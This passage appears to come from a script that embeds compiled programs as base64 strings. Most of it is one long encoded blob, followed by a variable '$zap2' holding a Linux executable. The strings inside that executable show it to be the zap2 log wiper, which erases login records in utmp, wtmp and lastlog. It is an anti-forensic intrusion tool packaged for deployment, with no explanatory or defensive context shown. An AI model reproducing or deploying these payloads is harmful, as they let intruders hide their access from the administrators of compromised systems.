BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQlFBQXdBc0FBQUFBQUFBQUhRQUF3QVFBQUFBQUFBQUFsZ0FBd0FRQUFBQUFBQUFBDQpqUUFBd0FnQUFBQUFBQUFBamdBQXdBZ0FBQUFBQUFBQWp3QUF3QWdBQUFBQUFBQUFrQUFBd0FnQUFBQUFBQUFBa1FBQXdBZ0FBQUFBDQpBQUFBa2dBQXdBZ0FBQUFBQUFBQWt3QUF3QWdBQUFBQUFBQUFBd0FBQUFjQUFBQUtBQUFBakFBQUFQLy8vLzhBQ2dBQUVBQUFBQ0FGDQpreGtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ0FBQUtSVFFBQUlBQUFBZUZOQUFBa0FBQUJNVTBBQUNnQUFBQ2hUUUFBUUFBQUEvRkpBDQpBQkVBQUFETVVrQUFFZ0FBQUtoU1FBQVRBQUFBZkZKQUFCZ0FBQUJFVWtBQUdRQUFBQnhTUUFBYUFBQUE1RkZBQUJzQUFBQ3NVVUFBDQpIQUFBQUlSUlFBQjRBQUFBZEZGQUFIa0FBQUJrVVVBQWVnQUFBRlJSUUFEOEFBQUFVRkZBQVA4QUFBQkFVVUFBQUFBQUFBQUFBQUJXDQpSRUFBVmtSQUFGWkVRQUJXUkVBQVZrUkFBRlpFUUFEaVpVQUE0bVZBQUFBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUtBQW9BQ2dBDQpLQUFvQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUVnQUVBQVFBQkFBRUFBUUFCQUFFQUFRDQpBQkFBRUFBUUFCQUFFQUFRQUJBQWhBQ0VBSVFBaEFDRUFJUUFoQUNFQUlRQWhBQVFBQkFBRUFBUUFCQUFFQUFRQUlFQWdRQ0JBSUVBDQpnUUNCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQVFBQkFBRUFBUUFCQUFFQUNDDQpBSUlBZ2dDQ0FJSUFnZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUVBQVFBQkFBDQpFQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVDQkFnQUFBQUFwQU1BDQpBR0NDZVlJaEFBQUFBQUFBQUtiZkFBQUFBQUFBb2FVQUFBQUFBQUNCbitEOEFBQUFBRUIrZ1B3QUFBQUFxQU1BQU1HajJxTWdBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNCL2dBQUFBQUFBRUQrQUFBQUFBQUF0UU1BQU1HajJxTWdBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUNCL2dBQUFBQUFBRUgrQUFBQUFBQUF0Z01BQU0raTVLSWFBT1dpNktKYkFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUNCL2dBQUFBQUFBRUIrb2Y0QUFBQUFVUVVBQUZIYVh0b2dBRi9hYXRveUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQjA5amU0UGtBDQpBREYrZ2Y0QUFBQUFBQUFBQUFBQUFBRDRBd0FBQVFBQUFDNEFBQUFCQUFBQUFRQUFBQllBQUFBQ0FBQUFBZ0FBQUFNQUFBQUNBQUFBDQpCQUFBQUJnQUFBQUZBQUFBRFFBQUFBWUFBQUFKQUFBQUJ3QUFBQXdBQUFBSUFBQUFEQUFBQUFrQUFBQU1BQUFBQ2dBQUFBY0FBQUFMDQpBQUFBQ0FBQUFBd0FBQUFXQUFBQURRQUFBQllBQUFBUEFBQUFBZ0FBQUJBQUFBQU5BQUFBRVFBQUFCSUFBQUFTQUFBQUFnQUFBQ0VBDQpBQUFOQUFBQU5RQUFBQUlBQUFCQkFBQUFEUUFBQUVNQUFBQUNBQUFBVUFBQUFCRUFBQUJTQUFBQURRQUFBRk1BQUFBTkFBQUFWd0FBDQpBQllBQUFCWkFBQUFDd0FBQUd3QUFBQU5BQUFBYlFBQUFDQUFBQUJ3QUFBQUhBQUFBSElBQUFBSkFBQUFCZ0FBQUJZQUFBQ0FBQUFBDQpDZ0FBQUlFQUFBQUtBQUFBZ2dBQUFBa0FBQUNEQUFBQUZnQUFBSVFBQUFBTkFBQUFrUUFBQUNrQUFBQ2VBQUFBRFFBQUFLRUFBQUFDDQpBQUFBcEFBQUFBc0FBQUNuQUFBQURRQUFBTGNBQUFBUkFBQUF6Z0FBQUFJQUFBRFhBQUFBQ3dBQUFCZ0hBQUFNQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQT09IjsNCg0KDQokemFwMj0iZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFjSVFFQ0RRQUFBQkVEQUFBQUFBQUFEUUFJQUFIQUNnQUd3QVlBQVlBQUFBMA0KQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQQ0KQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJb3drQUFLTUpBQUFGQUFBQUFCQUFBQUVBQUFDa0NRQUFwSmtFQ0tTWkJBZ29BUUFBTUFFQQ0KQUFZQUFBQUFFQUFBQWdBQUFMUUpBQUMwbVFRSXRKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSQ0KSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxcw0KYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUJRQUFBQU1BQUFBT0FBQUFEUUFBQUF3QQ0KQUFBTEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFEQUFBQUJBQUFBQVVBQUFBR0FBQUFBZ0FBQUFrQUFBQUlBQUFBQndBQQ0KQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhnQUFBQUFBQUFCOEFBQUFFZ0FBQUdjQUFBQUFBQUFBY1FBQUFCSUFBQUJiQUFBQQ0KQUFBQUFCMEFBQUFTQUFBQUtRQUFBQUFBQUFDc0FBQUFFZ0FBQUVrQUFBQUFBQUFBMVFBQUFCSUFBQUFMQUFBQUFBQUFBQ2tBQUFBUw0KQUFBQUVnQUFBQUFBQUFBOEFBQUFFZ0FBQUdJQUFBQUFBQUFBZkFBQUFCSUFBQUFZQUFBQUFBQUFBREFBQUFBU0FBQUFNUUFBQUFBQQ0KQUFEL0FBQUFFZ0FBQURvQUFBQmdpUVFJQkFBQUFCRUFEZ0FrQUFBQUFBQUFBSHdBQUFBU0FBQUFiUUFBQUFBQUFBQUFBQUFBSUFBQQ0KQUFCc2FXSmpMbk52TGpZQWNISnBiblJtQUd4elpXVnJBR0o2WlhKdkFIZHlhWFJsQUhKbFlXUUFjM1J5Ym1OdGNBQm5aWFJ3ZDI1aA0KYlFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJmWDJ4cFltTmZjM1JoY25SZmJXRnBiZ0J6ZEhKc1pXNEFiM0JsYmdCamJHOXpaUUJmWDJkdA0KYjI1ZmMzUmhjblJmWHdCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUFFQQ0KQUFBUUFBQUFBQUFBQUJCcGFRMEFBQUlBZkFBQUFBQUFBQURJbWdRSUJnMEFBSnlhQkFnSEFRQUFvSm9FQ0FjQ0FBQ2ttZ1FJQndNQQ0KQUtpYUJBZ0hCQUFBckpvRUNBY0ZBQUN3bWdRSUJ3WUFBTFNhQkFnSEJ3QUF1Sm9FQ0FjSUFBQzhtZ1FJQndrQUFNQ2FCQWdIQ2dBQQ0KeEpvRUNBY01BQUJWaWVXRDdBam84UUFBQU9oTUFRQUE2RzhGQUFESnd3RC9OWlNhQkFqL0paaWFCQWdBQUFBQS95V2NtZ1FJYUFBQQ0KQUFEcDRQLy8vLzhsb0pvRUNHZ0lBQUFBNmRELy8vLy9KYVNhQkFob0VBQUFBT25BLy8vLy95V29tZ1FJYUJnQUFBRHBzUC8vLy84bA0KckpvRUNHZ2dBQUFBNmFELy8vLy9KYkNhQkFob0tBQUFBT21RLy8vLy95VzBtZ1FJYURBQUFBRHBnUC8vLy84bHVKb0VDR2c0QUFBQQ0KNlhELy8vLy9KYnlhQkFob1FBQUFBT2xnLy8vLy95WEFtZ1FJYUVnQUFBRHBVUC8vLy84bHhKb0VDR2hRQUFBQTZVRC8vLzh4N1Y2Sg0KNFlQazhGQlVVbWpZaUFRSWFKQ0lCQWhSVm1nYWlBUUk2Ry8vLy8vMGtKQlZpZVZUNkFBQUFBQmJnY1B6RlFBQVVJdURPQUFBQUlYQQ0KZEFMLzBJdGQvTW5Ea0pCVmllV0Q3QWlBUGN5YUJBZ0FkU21ockprRUNJc1FoZEowRjRuMmc4QUVvNnlaQkFqLzBxR3NtUVFJaXhDRg0KMG5YcnhnWE1tZ1FJQWNuRGlmWlZpZVdEN0FpaGpKb0VDSVhBZEJtNEFBQUFBSVhBZEJDRDdBeG9qSm9FQ09qbmV2djNnOFFReWNPUQ0Ka0ZXSjVZSHNpQUVBQUlQc0NHb0NhR1NKQkFqbytQNy8vNFBFRUtQUW1nUUlnejNRbWdRSUFBK0lzZ0FBQUlQc0JHaUFBUUFBallWNA0KL3YvL1VQODEwSm9FQ09qNS92Ly9nOFFRaGNCL0F1dCtnK3dNLzNVSTZHWCsvLytEeEJDSndvMkZlUDcvLzRQQUxJUHNCRkwvZFFoUQ0KNkZyKy8vK0R4QkNGd0hXd2crd0lhSUFCQUFDTmhYaisvLzlRNkkvKy8vK0R4QkNEN0FScUFXaUEvdi8vL3pYUW1nUUk2RmYrLy8rRA0KeEJDRDdBUm9nQUVBQUkyRmVQNy8vMUQvTmRDYUJBam8ydjMvLzRQRUVPbGYvLy8vZyt3TS96WFFtZ1FJNk5UOS8vK0R4QkRKdzFXSg0KNVlIc21BRUFBTWVGZFA3Ly93RUFBQUNEN0FocUFtaHVpUVFJNkEzKy8vK0R4QkNqMEpvRUNJTTkwSm9FQ0FBUGlCTUJBQUNEdlhUKw0KLy8vL2RRWHA5QUFBQUlQc0JHb0NpNVYwL3YvL2lkRFI0QUhRd2VBSDk5aFEvelhRbWdRSTZMajkvLytEeEJDRDdBUm9nQUVBQUkyRg0KZVA3Ly8xRC9OZENhQkFqbzIvMy8vNFBFRUlYQWVRekhoWFQrLy8vLy8vLy82NkNEN0F6L2RRam9QZjMvLzRQRUVJbkNqWVY0L3YvLw0KZzhBc2crd0VVdjkxQ0ZEb012My8vNFBFRUlYQWRXaUQ3QWhvZ0FFQUFJMkZlUDcvLzFEb1ovMy8vNFBFRUlQc0JHb0NpNVYwL3YvLw0KaWREUjRBSFF3ZUFIOTloUS96WFFtZ1FJNkNMOS8vK0R4QkNEN0FSb2dBRUFBSTJGZVA3Ly8xRC9OZENhQkFqb3Bmei8vNFBFRU1lRg0KZFA3Ly8vLy8vLy9wQy8vLy80MkZkUDcvLy84QTZmNysvLytEN0F6L05kQ2FCQWpvaVB6Ly80UEVFTW5EVllubGdleElBUUFBZyt3TQ0KLzNVSTZPLzgvLytEeEJDSlJmU0RmZlFBRDRTVUFBQUFnK3dJYWdKb2ZJa0VDT2l3L1AvL2c4UVFvOUNhQkFpRFBkQ2FCQWdBRDRpRA0KQUFBQWcrd0VhZ0NMUmZTTFVBaUowTUhnQXdIUXdlQURBZERCNEFKUS96WFFtZ1FJNkdYOC8vK0R4QkNEN0Fob0pBRUFBSTJGdVA3Lw0KLzFEb2J2ei8vNFBFRUlQc0JHZ2tBUUFBallXNC92Ly9VUDgxMEpvRUNPalIrLy8vZzhRUWcrd00velhRbWdRSTZORDcvLytEeEJEcg0KRTRQc0NQOTFDR2lOaVFRSTZQdjcvLytEeEJESncxV0o1WVBzQ0lQazhMZ0FBQUFBS2NTRGZRZ0NkVXVEN0F5TFJReUR3QVQvTU9nTg0KLy8vL2c4UVFnK3dNaTBVTWc4QUUvekRvcnYzLy80UEVFSVBzREl0RkRJUEFCUDh3NkxyOC8vK0R4QkNEN0F4b2xJa0VDT2lhKy8vLw0KZzhRUTZ4Q0Q3QXhvbTRrRUNPaUkrLy8vZzhRUXljT1FrSkJWaWVWWFZsT0Q3QXpvQUFBQUFGdUJ3L0lSQUFEbzd2ci8vNDJURlAvLw0KLzQyTEZQLy8veW5LTWZiQitnSTUxbk1QaWRlUS81U3pGUC8vLzBZNS9uTDBnOFFNVzE1ZnljTlZpZVZXVStnQUFBQUFXNEhEcmhFQQ0KQUkyTEZQLy8vNDJERlAvLy95bkJ3ZmtDaGNtTmNmOTFDK2c2QUFBQVcxN0p3NG4yLzVTekZQLy8vNG55VG9YU2RmTHI1VldKNVZOUw0Kb1h5YUJBaUQrUCs3ZkpvRUNIUU1nK3NFLzlDTEE0UDQvM1gwV0Z2SncxV0o1VlBvQUFBQUFGdUJ3MGNSQUFCUzZHTDcvLytMWGZ6Sg0Kd3dBREFBQUFBUUFDQUM5bGRHTXZkWFJ0Y0FBdmRYTnlMMkZrYlM5M2RHMXdBQzkxYzNJdllXUnRMMnhoYzNSc2IyY0FKWE02SUQ4Sw0KQUZwaGNESWhDZ0JGY25KdmNpNEtBQUFBQUFBQUFBQUFBSWlhQkFnQUFBQUFBUUFBQUFFQUFBQU1BQUFBbUlNRUNBMEFBQUJBaVFRSQ0KQkFBQUFFaUJCQWdGQUFBQWRJSUVDQVlBQUFDVWdRUUlDZ0FBQUlZQUFBQUxBQUFBRUFBQUFCVUFBQUFBQUFBQUF3QUFBSkNhQkFnQw0KQUFBQVdBQUFBQlFBQUFBUkFBQUFGd0FBQUVDREJBZ1JBQUFBT0lNRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXZHSU1FQ1AvLw0KLzI4QkFBQUE4UC8vYi9xQ0JBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ0KQUFBQUFBRC8vLy8vQUFBQUFQLy8vLzhBQUFBQUFBQUFBTFNaQkFnQUFBQUFBQUFBQU1hREJBaldnd1FJNW9NRUNQYURCQWdHaEFRSQ0KRm9RRUNDYUVCQWcyaEFRSVJvUUVDRmFFQkFobWhBUUlBQUFBQUFCSFEwTTZJQ2hIVGxVcElETXVNeTR6SUNoeVpXeGxZWE5sS1FBQQ0KUjBORE9pQW9SMDVWS1NBekxqTXVNeUFvY21Wc1pXRnpaU2tBQUVkRFF6b2dLRWRPVlNrZ015NHpMak1nS0hKbGJHVmhjMlVwQUFCSA0KUTBNNklDaEhUbFVwSURNdU15NHpJQ2h5Wld4bFlYTmxLUUFBUjBORE9pQW9SMDVWS1NBekxqTXVNeUFvY21Wc1pXRnpaU2tBQUVkRA0KUXpvZ0tFZE9WU2tnTXk0ekxqTWdLSEpsYkdWaGMyVXBBQUF1YzNsdGRHRmlBQzV6ZEhKMFlXSUFMbk5vYzNSeWRHRmlBQzVwYm5SbA0KY25BQUxtNXZkR1V1UVVKSkxYUmhad0F1YUdGemFBQXVaSGx1YzNsdEFDNWtlVzV6ZEhJQUxtZHVkUzUyWlhKemFXOXVBQzVuYm5VdQ0KZG1WeWMybHZibDl5QUM1eVpXd3VaSGx1QUM1eVpXd3VjR3gwQUM1cGJtbDBBQzUwWlhoMEFDNW1hVzVwQUM1eWIyUmhkR0VBTG1SaA0KZEdFQUxtVm9YMlp5WVcxbEFDNWtlVzVoYldsakFDNWpkRzl5Y3dBdVpIUnZjbk1BTG1wamNnQXVaMjkwQUM1aWMzTUFMbU52YlcxbA0KYm5RQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR3dBQUFBRUFBQUFDQUFBQQ0KRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQQ0KQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFFd0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQQ0KQUFBQ0FBQUFsSUVFQ0pRQkFBRGdBQUFBQlFBQUFBRUFBQUFFQUFBQUVBQUFBRDhBQUFBREFBQUFBZ0FBQUhTQ0JBaDBBZ0FBaGdBQQ0KQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFENmdnUUkrZ0lBQUJ3QUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQQ0KVkFBQUFQNy8vMjhDQUFBQUdJTUVDQmdEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBRGlEQkFnNA0KQXdBQUNBQUFBQVFBQUFBQUFBQUFCQUFBQUFnQUFBQnNBQUFBQ1FBQUFBSUFBQUJBZ3dRSVFBTUFBRmdBQUFBRUFBQUFDd0FBQUFRQQ0KQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBbUlNRUNKZ0RBQUFYQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQQ0KQUxDREJBaXdBd0FBd0FBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQndoQVFJY0FRQUFOQUVBQUFBQUFBQQ0KQUFBQUFBUUFBQUFBQUFBQWdRQUFBQUVBQUFBR0FBQUFRSWtFQ0VBSkFBQWJBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBSWNBQUFBQg0KQUFBQUFnQUFBRnlKQkFoY0NRQUFSd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQU1BQUFDa21RUUlwQWtBQUF3QQ0KQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbFFBQUFBRUFBQUFDQUFBQXNKa0VDTEFKQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQQ0KQUo4QUFBQUdBQUFBQXdBQUFMU1pCQWkwQ1FBQXlBQUFBQVVBQUFBQUFBQUFCQUFBQUFnQUFBQ29BQUFBQVFBQUFBTUFBQUI4bWdRSQ0KZkFvQUFBZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyd0FBQUFFQUFBQURBQUFBaEpvRUNJUUtBQUFJQUFBQUFBQUFBQUFBQUFBRQ0KQUFBQUFBQUFBTFlBQUFBQkFBQUFBd0FBQUl5YUJBaU1DZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDN0FBQUFBUUFBQUFNQQ0KQUFDUW1nUUlrQW9BQUR3QUFBQUFBQUFBQUFBQUFBUUFBQUFFQUFBQXdBQUFBQWdBQUFBREFBQUF6Sm9FQ013S0FBQUlBQUFBQUFBQQ0KQUFBQUFBQUVBQUFBQUFBQUFNVUFBQUFCQUFBQUFBQUFBQUFBQUFETUNnQUFxQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQQ0KQXdBQUFBQUFBQUFBQUFBQWRBc0FBTTRBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQVFBQUFBSUFBQUFBQUFBQUFBQUFBSHdRQUFBZw0KQlFBQUdnQUFBQ3NBQUFBRUFBQUFFQUFBQUFrQUFBQURBQUFBQUFBQUFBQUFBQUNjRlFBQTlnSUFBQUFBQUFBQUFBQUFBUUFBQUFBQQ0KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRQ0KQ0FBQUFBQURBQU1BQUFBQUFKU0JCQWdBQUFBQUF3QUVBQUFBQUFCMGdnUUlBQUFBQUFNQUJRQUFBQUFBK29JRUNBQUFBQUFEQUFZQQ0KQUFBQUFCaURCQWdBQUFBQUF3QUhBQUFBQUFBNGd3UUlBQUFBQUFNQUNBQUFBQUFBUUlNRUNBQUFBQUFEQUFrQUFBQUFBSmlEQkFnQQ0KQUFBQUF3QUtBQUFBQUFDd2d3UUlBQUFBQUFNQUN3QUFBQUFBY0lRRUNBQUFBQUFEQUF3QUFBQUFBRUNKQkFnQUFBQUFBd0FOQUFBQQ0KQUFCY2lRUUlBQUFBQUFNQURnQUFBQUFBcEprRUNBQUFBQUFEQUE4QUFBQUFBTENaQkFnQUFBQUFBd0FRQUFBQUFBQzBtUVFJQUFBQQ0KQUFNQUVRQUFBQUFBZkpvRUNBQUFBQUFEQUJJQUFBQUFBSVNhQkFnQUFBQUFBd0FUQUFBQUFBQ01tZ1FJQUFBQUFBTUFGQUFBQUFBQQ0Ka0pvRUNBQUFBQUFEQUJVQUFBQUFBTXlhQkFnQUFBQUFBd0FXQUFBQUFBQUFBQUFBQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBRA0KQUJnQUFBQUFBQUFBQUFBQUFBQUFBd0FaQUFBQUFBQUFBQUFBQUFBQUFBTUFHZ0FCQUFBQWxJUUVDQUFBQUFBQ0FBd0FFUUFBQUFBQQ0KQUFBQUFBQUFCQUR4L3h3QUFBQjhtZ1FJQUFBQUFBRUFFZ0FxQUFBQWhKb0VDQUFBQUFBQkFCTUFPQUFBQUl5YUJBZ0FBQUFBQVFBVQ0KQUVVQUFBQ3NtUVFJQUFBQUFBRUFEd0JKQUFBQXpKb0VDQUVBQUFBQkFCWUFWUUFBQUxpRUJBZ0FBQUFBQWdBTUFHc0FBQUQwaEFRSQ0KQUFBQUFBSUFEQUFSQUFBQUFBQUFBQUFBQUFBRUFQSC9kd0FBQUlDYUJBZ0FBQUFBQVFBU0FJUUFBQUNJbWdRSUFBQUFBQUVBRXdDUg0KQUFBQXNKa0VDQUFBQUFBQkFCQUFud0FBQUl5YUJBZ0FBQUFBQVFBVUFLc0FBQUFjaVFRSUFBQUFBQUlBREFEQkFBQUFBQUFBQUFBQQ0KQUFBRUFQSC95QUFBQUx